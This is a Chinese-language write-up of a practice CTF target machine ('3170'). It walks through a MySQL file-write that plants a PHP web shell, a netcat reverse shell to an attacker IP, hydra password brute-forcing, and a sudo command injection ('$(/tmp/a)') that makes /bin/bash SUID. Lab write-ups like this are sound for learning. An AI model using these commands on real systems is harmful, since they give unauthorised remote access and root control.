3170靶机复盘
一.端口扫描
开放了22,80,3306端口。
二.漏洞测试与利用:
2.1.Web测试:
在web界面没有找到可以用的信息,做了个目录扫描,找到了个目录: http://192.168.226.70/temp/ 现在还没有什么作用,继续往下找漏洞利用点。
2.2.数据库测试:
远程连接一下数据库,但服务器不支持 SSL 连接(mysql进行连接的时候,默认是会使用 SSL 进行连接的)
使用–skip-ssl参数(作用:不要尝试使用 SSL 连接数据库)
mysql –skip-ssl -h 192.168.226.70 -uroot -p
查看数据库中名为 secure_file_priv 的系统变量的值:
SHOW VARIABLES LIKE ‘secure_file_priv’;
如果值为 NULL,表示限制 LOAD DATA、SELECT … INTO OUTFILE 和 LOAD_FILE() 等文件操作功能,即不允许进行这些文件相关操作。
- 如果值为一个具体目录路径(如 /var/lib/mysql-files/ ),则表示仅允许在这个指定目录下执行相关文件操作。
- 如果为空字符串 ‘’ ,则表示没有限制,可在任意目录进行相关文件操作。
secure_file_priv是空字符串,说明我们可以在任意目录进行相关文件操作。
三.提权:
3.1.数据库内容任意读取(方法一):
select load_file(‘’):
load_file() 是一个用于读取服务器文件系统上文件内容的函数。
发现有个a7用户,可以使用hydra工具对其进行密码爆破,找了密码,但是这里有个坑,就是在查看.bash_history会涉及权限的问题,只能拿到user的flag,拿不了root的flag。
3.2数据库内容任意写入(方法二):
思路,猜测在web上扫描的temp目录是可以进行写入的(一般temp目录里普通用户也是可以有写入的权限的)
在HackTricks - HackTricks中查找mysql写入的sql语句
找到写入语句,在进行改造:
select 1,2,”“,4 into OUTFILE ‘/var/www/html/temp/hack.php’;
写入成功:
进行利用:但是没回显,有可能服务器过滤了shell_exec的命令执行函数,换一个函数进行尝试
select 1,2,”“,4 into OUTFILE ‘/var/www/html/temp/hack1.php’;
利用成功,反弹shell
http://192.168.226.70/temp/hack1.php?c=busybox nc 192.168.226.222 4444 -e /bin/bash
拿到了user的flag
在/var/www的目录下查看历史命令,找到了welcome的密码
使用sudo -l 的方式:查看到了suForce的文件,可以使用它进行提权
- 使用权限:用户
welcome可在主机3170上免密码(NOPASSWD)以sudo方式运行/opt/suForce。 - 使用方式:运行格式为
./suForce -u <USER> -w <WORDLIST>,其中-u用于指定目标用户,-w用于指定包含密码的字典文件,它可能通过尝试字典中的密码来获取指定用户的权限,从而实现提权等操作。
得到root的flag:
获取root的密码:
补充:
还可以查看查看suForce文件:是一个命令拼接,可以进行一些命令注入
echo ‘chmod +s /bin/bash’ > /tmp/
chmod +x /tmp/a
sudo /opt/suForce -u ‘$(/tmp/a)’ -w /root/root.txt